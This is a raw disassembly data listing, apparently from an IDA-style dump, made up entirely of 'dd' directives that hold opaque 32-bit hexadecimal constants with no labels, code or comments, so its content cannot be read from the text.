		dd 4228D25Ch, 0D82CF9ECh, 8B0779BBh, 78D0D0B3h,	34C5DDEh
		dd 600C054Eh, 0DFC3F965h, 0EEA3FBA0h, 0C9077700h, 93E45A14h
		dd 83B80069h, 4276253Eh, 0B200A109h, 7BF6F46Ah,	1E20681h
		dd 944375A2h, 206FD319h, 1E0015ABh, 0BB90140Dh,	3EA05429h
		dd 0F1009860h, 9D873B44h, 0D209123Fh, 48E033BCh, 3DDEB8ECh
		dd 4001B1A2h, 0F8DB14CDh, 80B3D1C2h, 0A2466121h, 138FA61Bh
		dd 0DD1785h, 0AB5A333h,	2E07F960h, 0AFBDD65Bh, 5811E760h
		dd 8269342Fh, 99D84022h, 54664D88h, 0ACED9D03h,	0A3F42D3Ch
		dd 13210008h, 825C4D30h, 5E359301h, 0A0D0A8E9h,	9AC2083h
		dd 47D39D9Ah, 20E79E06h, 6F30597Dh, 11E418F7h, 62712448h
		dd 0B0CE8790h, 0D444B2EDh, 0CDE9E540h, 21D708CCh, 0EC881F2Eh
		dd 150600B7h, 0C73EAE2h, 907A3700h, 0B22363C4h,	6EC60535h
		dd 229B0343h, 0E430F99Ch, 33AF11A2h, 80A58850h,	32A24C1Bh
		dd 9D00C45Dh, 82DB7941h, 51B31E75h, 94039826h, 386FC111h
		dd 0A892108Bh, 0B2EFCA00h, 0B7006283h, 2A9E4522h, 1FE14EB3h
		dd 0C0095F57h, 528DEBF4h, 0AE0C85Dh, 0E194D8F1h, 50A9CE00h
		dd 0EDE729B7h, 161A006Ah, 3DBAAAECh, 68009FFEh,	256C8B3Fh
		dd 37531ABh, 60AF81E6h,	0BB982332h, 0D63878A6h,	166883FEh
		dd 0C89B3D47h, 142C58F8h, 0B3BF2BE9h, 0C28A6F03h, 2EE0F91Fh
		dd 0DA18B47Bh, 4B287673h, 5EF700E8h, 0C4BEFA9Dh, 72078744h
		dd 0F56B77EAh, 0F43E7BC0h, 31070C14h, 0BE115C8Fh, 1A7CF307h
		dd 0C033A6F1h, 3008CED9h, 95207AA8h, 0B2067B48h, 0E15DBAF1h
		dd 4944C149h, 0F08A9379h, 7600AF66h, 0EB8D1DCh,	197D4816h
		dd 0A8192F2Ah, 0C3A5254Dh, 5B5E5007h, 2C0088DFh, 1D5AA012h
		dd 18A3FA84h, 37BA210Fh, 29A78803h, 3CADE4D1h, 91608CF8h
		dd 4BE8C69Bh, 9A228700h, 82D366C2h, 5FA006D5h, 0CA84817h
		dd 0CCE87612h, 10B05118h, 0DFBF0091h, 1CA782D2h, 7000AC6Bh
		dd 90F9E168h, 7F0137F3h, 4FF11A5Eh, 894070B2h, 0C10F8AC9h
		dd 0E4EE20A0h, 0C580AB86h, 826231h, 96FF3DB3h, 0C05978BBh
		dd 0B675E600h, 74F5165Eh, 97C23BCFh, 55E8A800h,	0EB38D595h
		dd 0B8F2B706h, 0E838072Dh, 7F6E37FFh, 0D9C98008h, 8E014D19h
		dd 0FB4CC57Eh, 82DCFDEFh
		dd 615D0007h, 9E2EF37Ch, 0FA3CAB26h, 634E8092h,	430E108Eh
		dd 105F8A8h, 960A2B99h,	0EC06ED38h, 70C03F87h, 48C7FCFFh
		dd 5A56014Dh, 0C6E1C18Ch, 3539CC92h, 5EFDAB00h,	52125DFh
		dd 0DCC8004Eh, 2DB01964h, 3F003332h, 0FC41A0CDh, 60C99Dh
		dd 398D305Eh, 1ED556ABh, 0A70087E8h, 0CD86B78h,	633D2C4Eh
		dd 9BBF4063h, 0BCD01928h, 0C9916033h, 0E8FDB30Dh, 3FDE6147h
		dd 4E0110B0h, 0F53BA032h, 0FCC8C736h, 380F6923h, 0A03EDCD9h
		dd 6E9AE765h, 0FC904FC6h, 0ECEF1EC5h, 75452141h, 318CE6A2h
		dd 0E5088EE4h, 79547600h, 8C9481B8h, 0F03B00D9h, 0B0062BDCh
		dd 87055B5Ch, 1B168669h, 0C31081EEh, 0EF65C4C1h, 0DA91CD00h
		dd 1C5B46FFh, 0A360EBA6h, 587461ABh, 8275D423h,	2AD69C4Ah
		dd 322C0C0h, 0FAF9807h,	1B8B9FDDh, 91753F41h, 0C59980E9h
		dd 40B337C9h, 2D6F004Dh, 0D9AE06C8h, 0E6F8B465h, 3E949506h
		dd 131EC8Bh, 0B0AE64EAh, 60420940h, 0AA5808B4h,	41330068h
		dd 7281CE14h, 766C0E26h, 0EB605943h, 16EE7FEAh,	0E6FDC300h
		dd 0D5B37750h, 0EFBB03D3h, 93C494DAh, 6CF8C060h, 2A992E10h
		dd 98EAE4h, 91F82609h, 162D6631h, 0BA7341Bh, 27F6D031h
		dd 0CAFF00D6h, 297067D4h, 0EE031AAEh, 62A1A4DAh, 16F88895h
		dd 0ED9307F4h, 6B7A617Ch, 0E880BD54h, 14175205h, 880D1A32h
		dd 41610EBh, 85B2D518h,	0EA3B6310h, 0ED7D00E6h,	8DA34D2Eh
		dd 6F00B9D7h, 9CF82BACh, 1F3D955h, 7E83E8CDh, 0E819E9A9h
		dd 690047B9h, 820E0C6Eh, 251C0ECh, 1B536D18h, 0B8C00B29h
		dd 0BD013190h, 45A895E3h, 0E9E8B5DAh, 70AE036Fh, 0A53FB34Eh
		dd 0DE42A3B8h, 8D028000h, 57A769A4h, 0CEEF0040h, 1BD413C5h
		dd 230092BCh, 5607FEC9h, 868CA8h, 42D8C4E9h, 0F0C0CC45h
		dd 0A610C307h, 5F8051FBh, 1D7CB06h, 0F8EF4248h,	0C4D4DDABh
		dd 5D002FF4h, 0B1534A0Eh, 0A9C78Dh, 670DC324h, 6B19D74Dh
		dd 5528FF00h, 0B3134C34h, 31FA02CDh, 4A42351Ch,	85904543h
		dd 0E50073BBh, 30458707h, 848DF9h, 14B657CCh, 1FB488CFh
		dd 25312C02h, 809140E7h, 57074CB4h, 0A84603ABh,	6ABDB36Fh
		dd 8DE2C788h, 0CD0F177Bh, 60144B88h, 0F4AA3AF5h, 3D6FE77h
		dd 5A4EF3F8h, 50970456h, 0DEAF291Eh, 2A69E24Ch,	3F00E840h
		dd 6A6CABC4h, 78CC797h,	50568303h, 58DD3081h, 0AE001432h
		dd 0A5B73940h, 779E85A0h, 1A080030h, 7919ED5Fh,	11015427h
		dd 0CD5181Bh, 0FF603F50h, 0BE7400FAh, 78BABC44h, 0C80039F1h
		dd 0AEBDA4CCh, 3F91716Bh, 708143D1h, 0E0849F69h, 70D7EDDBh
		dd 8F00EC0Bh, 9C37C008h, 12D1B8h, 9E276460h, 9488483Ah
		dd 0C0872132h, 9728A059h, 1C70A826h, 8EC67D39h,	0F5208C04h
		dd 8569965Ah, 0E9000872h, 0A41A9BBAh, 40A9A7h, 44049E2Ch
		dd 50F98EABh, 600617FEh, 6315CF05h, 3F1D0070h, 1A1C782h
		dd 3075F526h, 2F66A00Fh, 270DA1B8h, 9024B321h, 0D113002Ch
		dd 0A6209A1Eh, 6F1E807Bh, 6267D97h, 5E69A100h, 7755C44h
		dd 2720CBA3h, 90A8F7AAh, 1C3A92C5h, 9D3D1600h, 22AC8C08h
		dd 0F50300E0h, 0C8FDFF2Fh, 18011C05h, 0E8EC8453h, 0D8F34FF0h
		dd 79AFE78h, 0DDA1C3BEh, 45A3C05Dh, 0D100941Ch,	0F1727DABh
		dd 0BD4055h, 8E6F7BF9h,	384CF29Ch, 318F448h, 53207489h
		dd 0B677A0ADh, 42D5288Ch, 0E0600F8h, 83CF5C7Bh,	7430270Ch
		dd 1C25E9A4h, 117A7Fh, 7571BDBEh, 0F50973C3h, 0A5F28400h
		dd 5FB912AEh, 0A444004Bh, 0B0EF4762h, 58C0DA54h, 1EA5070h
		dd 0DFCD00F0h, 0C0DEA336h, 5F48C4B1h, 46EB006Eh, 0F62F19EFh
		dd 0D0E000B5h, 0A41D22A0h, 1200E329h, 9E4F85A6h, 0B3BAB0h
		dd 5CE7B7F2h, 0D77E65DBh, 0FA2D6203h, 57A308h, 9ECCDE34h
		dd 0F5ADB7B2h, 0F18F9A12h, 88D2AC00h, 0FCDFE549h, 0D91E005Eh
		dd 84087A4Eh, 0C0008992h, 0FC9CABDCh, 0F343FFEh, 37367B68h
		dd 188073C0h, 131D1CADh, 0B0C0EC08h, 0F9D3F026h, 0CFA60159h
		dd 788EF5AAh, 96688090h, 0C038F38Bh, 0F1500B2h,	4096766h
		dd 944E329Ch, 240334C0h, 461000E5h, 0FD83EC9Bh,	88004BB7h
		dd 12DE2A29h, 603C815Bh, 65910A5h, 2F06B31Ch, 9F8B3FECh
		dd 5E1B0029h, 7CB25D0Ah, 0FF00F0EDh, 45619C98h,	5F7D59h
		dd 63E97288h, 42C47F60h, 1B84EB54h, 666EAB00h, 0D99A6782h
		dd 1249A21h, 7E3335Eh, 0DC1430D1h, 2E503759h, 9300E5D4h
		dd 0C28315C8h, 0F032DF53h, 0BB7502D7h, 0FD488A64h, 0EB096940h
		dd 213EC51Fh, 52CDC880h, 7D6E77h, 0E22A8235h, 70C52320h
		dd 0F98610C0h, 30A0C4h,	0B9C7B553h, 0E659A5Ch, 61FB5800h
		dd 0F352FAF7h, 8B4F0086h, 2A18FD4Eh, 34388174h,	0C2258FB5h
		dd 0B97CC0CBh, 731EBBh,	3551C5Eh, 40E93AEFh, 86422E00h
		dd 7B9934Dh, 413B0008h,	0DE5E7B65h, 6C1FC5B3h, 0A9C0B6BCh
		dd 1B5150BAh, 0D952009Fh, 812097C3h, 0E91E963Bh, 840B486h
		dd 0A2A926A5h, 977D0727h, 60804A41h, 0D8562ACEh, 3C41E3Ch
		dd 0CC6541Fh, 860180F1h, 37F5002Eh, 56E302EEh, 31005AFFh
		dd 9566E828h, 0C3B538h,	0EF4A9959h, 0C48149CCh,	5C985500h
		dd 8B058F24h, 140900EAh, 5DEBE967h, 0DA0E75EEh,	7CDF52A0h
		dd 0AB825981h, 96D4ACCAh, 0FB7A009Fh, 0ABF644Eh, 8E078794h
		dd 8A0245DEh, 3B700D90h, 0AC6700A9h, 0FE258BEAh, 71000E6Ah
		dd 6E81057Bh, 14A5FCBBh, 0AF095FA4h, 0D1376700h, 7AC2517Dh
		dd 0DDC82728h, 0AB014775h, 0A0745C69h, 2C0CF1Ah, 6EFC07D3h
		dd 0EE21DAF9h, 0FF086B40h, 8300EAA1h, 0DC9FD082h, 9812BEEFh
		dd 0D7B50h, 37C1ED81h, 0BD1A1C6Eh, 93383500h, 51A7A305h
		dd 467303E1h, 68B00FE2h, 89002075h, 0E112552h, 0ACF919h
		dd 0DDD596B5h, 439D9E72h, 7C642800h, 0CCD3215Ch, 87542CEFh
		dd 3F8B8078h, 151DDADEh, 33FD1400h, 0A1341C94h,	9A8A00E7h
		dd 78CB8D72h, 6A008677h, 0AB2DC405h, 0A822B1h, 5272A741h
		dd 9C2CF257h, 770BD500h, 0C68ECBD9h, 94BA7Bh, 9709F337h
		dd 0BE5E1CA4h, 0B61B9C00h, 7D7864E6h, 8688C72Ch, 0D870C181h
		dd 51119E65h, 50F4003Dh, 7A71D0A5h, 8EFF00C0h, 76E95C8Ch
		dd 0D3EE03Bh, 0BFDFBC4Fh, 82BB97AEh, 8C8DCC4Bh,	194DE168h
		dd 608C12EEh, 5EF5D853h, 18B5074Ch, 1211427Dh, 1403B016h
		dd 5C398C63h, 0A92C2F01h, 0FDDFD96Eh, 10C403Ah,	0FC9AF2BFh
		dd 9CB17000h, 34188414h, 317B09h, 0C725F641h, 7563EB38h
		dd 1E2D1500h, 0FDB9CD2h, 45B700F8h, 0E6721A31h,	54016A7Bh
		dd 959B4273h, 0DFC3FE8h, 793200A2h, 0E0EAA098h,	0E003027h
		dd 0A1704C99h, 0A62F76h, 9B95E9Ah, 4175409Dh, 5F6E4700h
		dd 0CEF097DAh, 573C008Ch, 771BDD44h, 0D900CB32h, 0B8B46B43h
		dd 0CD2D50h, 0FFD0CED6h, 0F8715203h, 0A5D10C60h, 2617C758h
		dd 0DF66624h, 0CD08B98Eh, 4E20805Dh, 5095C7B0h,	6EA00C2h
		dd 78C9B487h, 340035A4h, 7AB7D17Dh, 2A740A65h, 1EC8E9C0h
		dd 0C0C7130Bh, 7CE6FE19h, 0E1744E10h, 3D21D461h, 32E43AE0h
		dd 17F1Fh, 5AF8BCD6h, 0A95D46C8h, 0F96BBF0Ch, 580268CFh
		dd 0EC142463h, 862AF981h, 8F3200F4h, 3B35F6ABh,	0CD660925h
		dd 0E21B109h, 0F4AB7812h, 0DF03BBC0h, 0F16F672Dh, 11184381h
		dd 0B57896F0h, 0C52AFA70h, 0A800F886h, 0D9B3CA16h, 1D81ABB4h
		dd 12AEC401h, 3A14C0ACh, 797CCA8Fh, 74EF5300h, 3118D76Ch
		dd 0B95D31E0h, 0B77F48C9h
		dd 4D041858h, 7D502F00h, 0BF0015C9h, 0A3DF5691h, 0EA2CF7h
		dd 0AF04133Ch, 298F5BCEh, 890169F8h, 0EC078ECAh, 0D5E03294h
		dd 0C4983CACh, 0D09E033Eh, 39BE848Dh, 250AC05Eh, 5100CB1Bh
		dd 82E6B4Eh, 7B6C787h, 0CCF868Bh, 0B4FE4072h, 0F203D229h
		dd 93CDC05Bh, 9275A1B1h, 211AD0h, 7880B4FFh, 0A41F0DFDh
		dd 8742C700h, 0F42A587Ah, 0A89D0146h, 0B77C5177h, 64508149h
		dd 296FE117h, 1DB0F9ECh, 5E3811DEh, 31203090h, 0C7107F04h
		dd 661077A7h, 41B43199h, 99806E11h, 64B8E570h, 0D13902BAh
		dd 40718034h, 0DD89B758h, 0F3041BB3h, 0FFF0486Fh, 0B1C0015Dh
		dd 0F7782649h, 0B9F0365h, 730AFAD8h, 588B0830h,	72C37B49h
		dd 0F5BD03F7h, 0DC58AD50h, 44FFC82Ah, 5923C503h, 1BFEA25h
		dd 1B229E64h, 0D862B4DDh, 28C0AD8Ah, 690340DEh,	5A390374h
		dd 5D717C3Ah, 7D495CA7h, 0ED326701h, 73384F78h,	0C3358F4h
		dd 0D236B020h, 49388AF8h, 754A0F21h, 0A74F0F35h, 0AFB02399h
		dd 781DD3h, 0B4A8448Eh,	0EEE030C8h, 0E746690Fh,	8C644131h
		dd 0FC871F1h, 77760747h, 0A1A01C62h, 0C0EDAF35h, 0AD00AAA9h
		dd 49B62FE2h, 2E2494h, 0E230175h, 0A9FDB37Dh, 4F73E8F7h
		dd 84B89900h, 9B15E252h, 16E12D5h, 0FB300A7h, 0A910F933h
		dd 3A48E12Eh, 0AC285000h, 0C0B2Bh, 8E37798Fh, 9864246Bh
		dd 4F1E7EF8h, 400A056h,	9C7433D7h, 6D1300DDh, 8E40F42h
		dd 0F67C226Ah, 7F942800h, 1F37AA33h, 1951F7Bh, 7186458h
		dd 6075BA87h, 6CA2DCAFh, 0F03DD72h, 6A3A4EE3h, 0DA8085A4h
		dd 1DE441F4h, 41D833A5h, 90D518AEh, 0C70898A9h,	9520421h
		dd 1CA03D33h, 0C448D302h, 685673C0h, 0D55370Ch,	6CB0585Ah
		dd 0A26030E7h, 334F1F8Ch, 0E0FE50C2h, 3E338402h, 8E81081Ah
		dd 78B3B838h, 0A14187D6h, 1E462126h, 0DD051C70h, 6D0020E0h
		dd 14C5782Bh, 4041F647h, 0C11F83C4h, 11704C5Dh,	3370C61h
		dd 5603A99Bh, 930CEF8h,	0B18161FFh, 0A12B0637h,	49EE35C0h
		dd 7963AA01h, 105DD108h, 9066F8F3h, 2F14004Dh, 3B07B3D9h
		dd 6D00886Bh, 659885DEh, 0C0BE28EDh, 80210F98h,	6B71737Bh
		dd 166154F8h, 4D6CC119h, 37810200h, 989F6A3Ah, 0DB207CC5h
		dd 0E54A002Ah, 0EFAC8BDAh, 68484B55h, 8C00775Fh, 2B6BA191h
		dd 1C462C7Ah, 43DE32F0h, 2DD5BAD2h, 0F2CD13D8h,	0E0057B8h
		dd 511CAA02h, 0F852BA4h, 6F8B46E1h, 3D6881C0h, 0E8008D49h
		dd 299664DAh, 3FADB83h,	0F4EE9CECh, 27801A38h, 730F94D4h
		dd 4028FE47h, 6F7AA841h, 190B00A6h, 0C4DEDF5Bh,	30046B1h
		dd 63E977Dh, 0EA1E1Bh, 0D8F44EB0h, 7935EBEFh, 8B140700h
		dd 0E191CBE9h, 0B54438C7h, 878099BBh, 355E0109h, 0F900DF0Ch
		dd 5921B6DCh, 0E1C673B7h, 4631094h, 0A9B8F8B0h,	0AFA710C1h
		dd 0D8C4598Bh, 4087820h, 0B3AC0989h, 9C38C0D0h,	0AD0087A1h
		dd 8E5D3F84h, 60624AE5h, 0ECCB0980h, 0E3E8AF7Bh, 9B788700h
		dd 15CE5E7Dh, 38EEE4C3h, 6F005ABFh, 1D59AED0h, 3103D7C6h
		dd 81A9932Fh, 0F1649840h, 0D62101A6h, 2923BF97h, 0FF41F45Ch
		dd 14FA3707h, 0C927118Ch, 1E872840h, 0B8580E09h, 0B9872D95h
		dd 55874B98h, 0C0C2A401h, 9C2E68C2h, 0F8B1CE00h, 298DCB4Fh
		dd 0DA5C00CAh, 0DB11B794h, 0B8002BEEh, 0A6C4F6E9h, 0EE5823ACh
		dd 0E7778D1h, 74263CF1h, 2B44FC43h, 0D336CEB8h,	141345EEh
		dd 0F700BD3Fh, 9CCCA6Ah, 6EEA3CC0h, 0FE264180h,	0BB933F66h
		dd 5EA7879h, 17187EB8h,	8C18641Eh, 0D132000Eh, 730CC2A4h
		dd 9A0039CBh, 0FCE11953h, 0F6B760Ah, 35F81E8Ch,	0C4B5BDC0h
		dd 0D8A06278h, 0C9796A31h, 8C9C7B07h, 0F290C8AEh, 74FAEBh
		dd 0B68D10A5h, 876C1BC0h, 26669100h, 6E2A9A29h,	0F8BE0045h
		dd 0BF37DB5Fh, 96004BBCh, 0FBEF644Eh, 0C093D997h, 5F30A5AEh
		dd 130EBFD7h, 63A6EB14h, 0EE016DDBh, 46800011h,	0F054F32Dh
		dd 0E4039694h, 25BC58A2h, 3DDA77F9h, 0CC021636h, 60997715h
		dd 61003844h, 0D9293421h, 28DDB9E0h, 0FA9B43EAh, 80C71231h
		dd 55000089h, 286B5C04h, 5EE3C800h, 41F55658h, 0F9D400F2h
		dd 0C6E95777h, 791D505Fh, 134F75DCh, 8EEAA0CFh,	0F0447ED5h
		dd 1FB73D92h, 0A3001449h, 74EB05ABh, 0D1027749h, 551B4EFFh
		dd 4F9BE191h, 48A5C8h, 3DBC0826h, 0FC755735h, 0E68848h
		dd 45B40CA6h, 0ECB3B53Eh, 0C9740F05h, 0AFA16781h, 0F8C08E5Fh
		dd 1200B694h, 8A91A406h, 990FA1h, 535EA82h, 131875D0h
		dd 0BCB9C900h, 60FBABDDh, 2EA900BFh, 2CA112BEh,	2AFAA23Dh
		dd 0F80022FCh, 3410C77Eh, 1BBC4Ch, 0F46AD118h, 61B38393h
		dd 0D9A7FC01h, 0EBE00EF8h, 0D7E424h, 30F273CFh,	8D3A7C99h
		dd 79405700h, 20120DF6h, 0EC0200BBh, 4A7EB534h,	0CD0F21F1h
		dd 805F0AB3h, 54B19FDh,	5EA9004Fh, 0DDA7AA8Eh, 547A28E8h
		dd 0E91DD70Fh, 71803C44h, 6256FE05h, 9A3200F4h,	8C467F6Ch
		dd 2500C533h, 0A742275Bh, 0C33FA288h, 0AC452210h, 0F89B85C0h
		dd 0F0C3C200h, 5CB5FB83h, 687B19A3h, 0F087C804h, 6C50E0AEh
		dd 0B2FC35B8h, 5B958E00h, 88E15C2Bh, 63B70057h,	4E861164h
		dd 193B2D82h, 0A22E8401h, 1C805EE2h, 0FC997Eh, 67D72152h
		dd 9023C9ECh, 18CA48h, 6EB8E0BDh, 91C9A4Dh, 0C021F0ABh
		dd 9E713401h, 0D34C205Ah, 31FDF530h, 2FB7502h, 0BE152A5Eh
		dd 54603910h, 20FC8621h, 76EB1103h, 388567h, 23DC4718h
		dd 0F5AFECF8h, 0DA440E15h, 91430FCCh, 0E5572042h, 605699h
		dd 97CD9C39h, 0C54C1406h, 0B18C4100h, 0AF5A223Fh, 0E6F747Fh
		dd 4F39E0D0h, 0BC9B4CE0h, 88FA902Ch, 1D0002FCh,	5BA00ACAh
		dd 3AC1E477h, 0FB011062h, 1A391393h, 632CD83Eh,	153C58h
		dd 0CB83AA2Ah, 852CFh, 66AF5189h, 6A426854h, 98DB6B00h
		dd 52DC05CAh, 0D40600B7h, 54D13F7Ah, 0D6019739h, 0CDA23314h
		dd 0E5D8B2D3h, 0D8D46F38h, 0C06D80BFh, 0CA5B44ABh, 0D85D7400h
		dd 77F5DE2Ch, 83030BCBh, 0E3011C67h, 0CCAB9F07h, 0E91E6079h
		dd 6457493Ah, 9CED600h,	3517B5Fh, 4FF12E6Eh, 37904426h
		dd 5B908D17h, 11928C07h, 0EBA056AFh, 0A7496Eh, 0B0EF8134h
		dd 35CFD629h, 0AFB7C500h, 39579B93h, 43330003h,	0AD523F41h
		dd 6F002BF8h, 9277AFC7h, 0FE0EFD2Fh, 0BDE5009Eh, 15F99834h
		dd 9102B5F2h, 0E88744D7h, 0BBB46889h, 12950309h, 0C263FEDh
		dd 38A3D2A0h, 57F9A001h, 0EE6ED804h, 0B00070B9h, 32C3D7DAh
		dd 13003D48h, 2FA62A90h, 3ED0F3h, 5D0D3B0Ch, 0D85EC991h
		dd 8C100F60h, 265C1639h, 6A2981Ah, 4190C199h, 0F610A603h
		dd 0C80FE632h, 33F209Eh, 5EC780DFh, 2EB03BC6h, 1500A0D9h
		dd 3CCA0A36h, 0E30637h,	0BFE85288h, 561A7942h, 0EFAAB300h
		dd 9074623Dh, 0CC49A73h, 0E83C5E8Ch, 1000C4C0h,	0BCC65D44h
		dd 7AFDA3E3h, 9A7A0090h, 0AE3D3A4Eh, 1403A091h,	6D2CF656h
		dd 19C0A8A3h, 0AC3F824h, 89C58AB9h, 9C8D00C4h, 0A385F880h
		dd 10515006h, 36BB37h, 69A57C21h, 0E10C5C24h, 4D957D0Fh
		dd 68ED6793h, 0F26A3D50h, 2EAB00FEh, 33854899h,	9316236Dh
		dd 101C02A8h, 5C69807Fh, 32553D7Ch, 8C043E67h, 0A5425B00h
		dd 7A0AC16Fh, 0EBD0B601h, 1A73F926h, 1CD73480h,	1EC4EF11h
		dd 6003412Dh, 0E491DC0Bh, 0C38900B1h, 0E90D4099h, 7C03D5EFh
		dd 0F814596Dh, 5B88E0C7h, 3E8B1EB5h, 0A3740F70h, 0F0B84FA0h
		dd 3600240Bh, 5B9B99B4h
		dd 0B1ECA9Dh, 0CFB2A0CDh, 0D3143C10h, 9800B0BAh, 23113536h
		dd 0E67D4Ch, 5EFC046Dh,	0EDAF4E0Ch, 33391600h, 0E369FD2Bh
		dd 589439FBh, 0E646CB0Eh, 0BAD9EE40h, 4C01313Bh, 8EF7E982h
		dd 0E440107Bh, 74C8DD98h, 0A9D918E6h, 0FB5171BAh, 204D3Ch
		dd 0C2D47C8Fh, 0BD58382h, 0A88DE031h, 6F091810h, 570169E6h
		dd 58B1CD0Bh, 0C4409A76h, 6654B838h, 40F528B7h,	1E627B1Fh
		dd 65D3580h, 0C2BEBE8h,	68197A7Fh, 0C100CDE8h, 0C94EEE5Ah
		dd 83DDBAh, 541D77CCh, 1438FC8Fh, 6F0B18C0h, 0F0E3A792h
		dd 0C6D60055h, 0FF2BA496h, 2C060AF4h, 0B89D9E40h, 20530CC9h
		dd 0D7B0DD4Dh, 0B5AF90Fh, 1658E1FFh, 0F8D461D3h, 9B280305h
		dd 9AAC842h, 0E4E820C3h, 603D2CBh, 49C56BB3h, 1653F8C0h
		dd 6843000Fh, 0C40B44F2h, 330B1AACh, 0E2281E8h,	17E2A365h
		dd 5ED0C086h, 3C310006h, 6C03D990h, 0FB5438D1h,	0A2001E9Ch
		dd 9D661B5Ah, 88C4F6h, 0C1BFBD53h, 1EB309C5h, 59F0111Dh
		dd 3AF58B00h, 302253F7h, 0B840EC25h, 0C670C2A0h, 0EB86A4A0h
		dd 2D0EE0FBh, 0E5C10741h, 0D035D8h, 0EA776176h,	3B5E7234h
		dd 483ECB98h, 6037833Eh, 0E997B3FFh, 0D45056D6h, 405432h
		dd 0DD9CCF8Ch, 1BED5A1Dh, 0CBF7F58h, 6103CD25h,	80A567B5h
		dd 424FE0DCh, 5909716Bh, 80892652h, 4C536DBDh, 195600F7h
		dd 934A24E0h, 32000C1Ah, 5DB8D87Ch, 0EB035105h,	3F491EC8h
		dd 87012C42h, 54FA366Ch, 0D0B4CBF8h, 64D53534h,	0AF69BA0Eh
		dd 0EF5B614Fh, 8180C3D6h, 827F6898h, 31C0F9EBh,	0E972D99Dh
		dd 0B01B0467h, 904AFB74h, 0C2950700h, 0EC01E176h, 3B3CC75Ch
		dd 0B2CC5657h, 0B57086h, 8CBFC44Bh, 0A20CEC6Fh,	0E6FEF600h
		dd 6EBA93E5h, 838B3A2Fh, 3FAC1B83h, 68914304h, 849B20FFh
		dd 8C514A0Eh, 0F0B6A067h, 13573AA8h, 4D7EDh, 26E4F982h
		dd 173E32DFh, 4D36002Ah, 0B20A8359h, 7C487C9Ch,	50860103h
		dd 0D051461Dh, 0A54EF884h, 0ABB4C806h, 7205792h, 87D3889Eh
		dd 0F5FD007h, 510065D0h, 4E05B862h, 10316C4h, 84DEF9ACh
		dd 0C9DC04CCh, 2D96D823h, 0B361CD00h, 750658F2h, 805174CEh
		dd 0BB37A143h, 5F80D0C0h, 26AEE9h, 86E3174Dh, 1E018C77h
		dd 10B76618h, 1EA91A31h, 40F7BB6Fh, 26B5E9B8h, 0FC004ACFh
		dd 0D47DBF8Eh, 1BC80E7h, 740F27ECh, 60EF4598h, 0DF073641h
		dd 68AD60F5h, 0C859BAC0h, 476772Ch, 36893210h, 0D180FB9Eh
		dd 785A19D6h, 94ECFF35h, 50BE01CEh, 9B17122Dh, 5DA2D0F4h
		dd 9FD720C1h, 5BF84B75h, 41EE0F3Fh, 968051D8h, 2562B35Dh
		dd 0E330A3E8h, 97B480A1h, 447E30A4h, 0A5BE3520h, 0DC073800h
		dd 27514BB0h, 548211B7h, 0E41907BBh, 2F87DF39h,	65DC0380h
		dd 51361F28h, 0AE69F099h, 1F181C7Ch, 5C60199Ch,	3CF203h
		dd 4C9D3629h, 0C92FC6BEh, 0CA0E6E00h, 4E271719h, 8F8300E7h
		dd 29F49F4Dh, 0DD1F7D2Ah, 4053B89h, 0C002444h, 3E0FFBCEh
		dd 0D198A03Dh, 97F500BBh, 99C51760h, 0FE005BBDh, 8B753590h
		dd 0E5EFBFh, 5CE47D7Ah,	0BCC26278h, 357F500h, 9AE6879Bh
		dd 5430002Eh, 89E0370Eh, 69C0F3FAh, 9C7569B5h, 45CC005Ah
		dd 1742F860h, 0BA005CD2h, 0EB76B7C3h, 347ED5Bh,	5272F45Eh
		dd 0FAE0E1CBh, 0EF7C797Dh, 270B0E00h, 0B13FEBFFh, 5E59C099h
		dd 3AAA74E8h, 30006AEAh, 2411D952h, 9C032Dh, 2605F466h
		dd 0D7AEC13h, 0FD1CBA1Ch, 0EB3C78h, 2519520Fh, 7A9526A7h
		dd 0B460034Ah, 61D49377h, 0EC0CFAC1h, 64012E33h, 0C210FD16h
		dd 0C7F5F6E7h, 989C7BD5h, 1C0C008Ah, 878F4D67h,	7E410358h
		dd 0A9508D00h, 0A9DB37Eh, 0DFEF3BFCh, 0BFFB2300h, 44676089h
		dd 0AFD30C06h, 40EBE4h,	62CD73A3h, 6A6D09DBh, 6B19D260h
		dd 1D4F797Ch, 805260BEh, 82AA984Dh, 20C716E0h, 513C70BFh
		dd 9E0A061Ah, 108DF8C5h, 0DB656E18h, 1D4F8349h,	7EF2A22Fh
		dd 4B00203h, 0A4F0AE51h, 35000B99h, 0E9E8A71Dh,	17206CF6h
		dd 0E0A073D2h, 40CAB13h, 6878C2AEh, 6F9E0092h, 8A26CEC5h
		dd 611524DDh, 7C844511h, 4B5A4601h, 3834CD33h, 0B20088BEh
		dd 0D3D722BDh, 0DEE08EBCh, 534D1400h, 9917EF69h, 0FEC2001Ch
		dd 937845C8h, 0EE00E6BFh, 149A0D16h, 773C3Fh, 0C8AD23CEh
		dd 0BD0528C4h, 8CC5C30Eh, 35E3605Eh, 300284EDh,	497130C2h
		dd 4D00F226h, 3362E52Bh, 5EF96E1h, 4774FCBEh, 709840D2h
		dd 0DD5258ABh, 66E1BD00h, 426F6E5Ch, 496961D6h,	0E57E318Eh
		dd 0D1B5DC20h, 0C0354E03h, 9823F15Eh, 0AAFB8Ah,	4D44E59Dh
		dd 0F63652DFh, 10E64F4h, 895A45B4h, 7E5407B5h, 0D6A9818Eh
		dd 8E83A86h, 88390757h,	0C72C8E87h, 0ADCC0001h,	2E78702Dh
		dd 7921FA0Ch, 0EB40A8h,	0FF659A85h, 73AF364h, 8EA14200h
		dd 152D35C1h, 8AE10226h, 0FD0A7444h, 7CAC270Fh,	0E0259753h
		dd 0ECCBB5BBh, 2AFE30A9h, 2F220F20h, 6EDDEA01h,	6DB3EE35h
		dd 249DE8h, 9546FECCh, 0E7F65737h, 99D96807h, 48F0CA64h
		dd 0C66212A1h, 0A19032B1h, 0B68BCB0Ch, 12193Fh,	8635E757h
		dd 0CCCA1F9h, 0FB504DECh, 0E4002684h, 25840ABAh, 0C7ACCAEDh
		dd 0F07DB440h, 57AEB382h, 0CFF65400h, 674B0605h, 2D4900B9h
		dd 8AF7AB96h, 0AA00A3E8h, 1C71A932h, 7158E90Bh,	69E60163h
		dd 7EA1EF0Fh, 0A42448FDh, 6747B513h, 0E3122B01h, 79705037h
		dd 0C8B25039h, 38DA30C9h, 0F41F79B8h, 3027D37Fh, 85DA81C2h
		dd 87C4C6E6h, 0E92A0C25h, 0C9384C4Bh, 3EF9A80Ah, 7301E4FBh
		dd 74159184h, 9C05E806h, 4DB8DAE6h, 1FE7C000h, 9FEA21h
		dd 111B0F73h, 246FE40Dh, 959751Ch, 0A038D400h, 7BF42510h
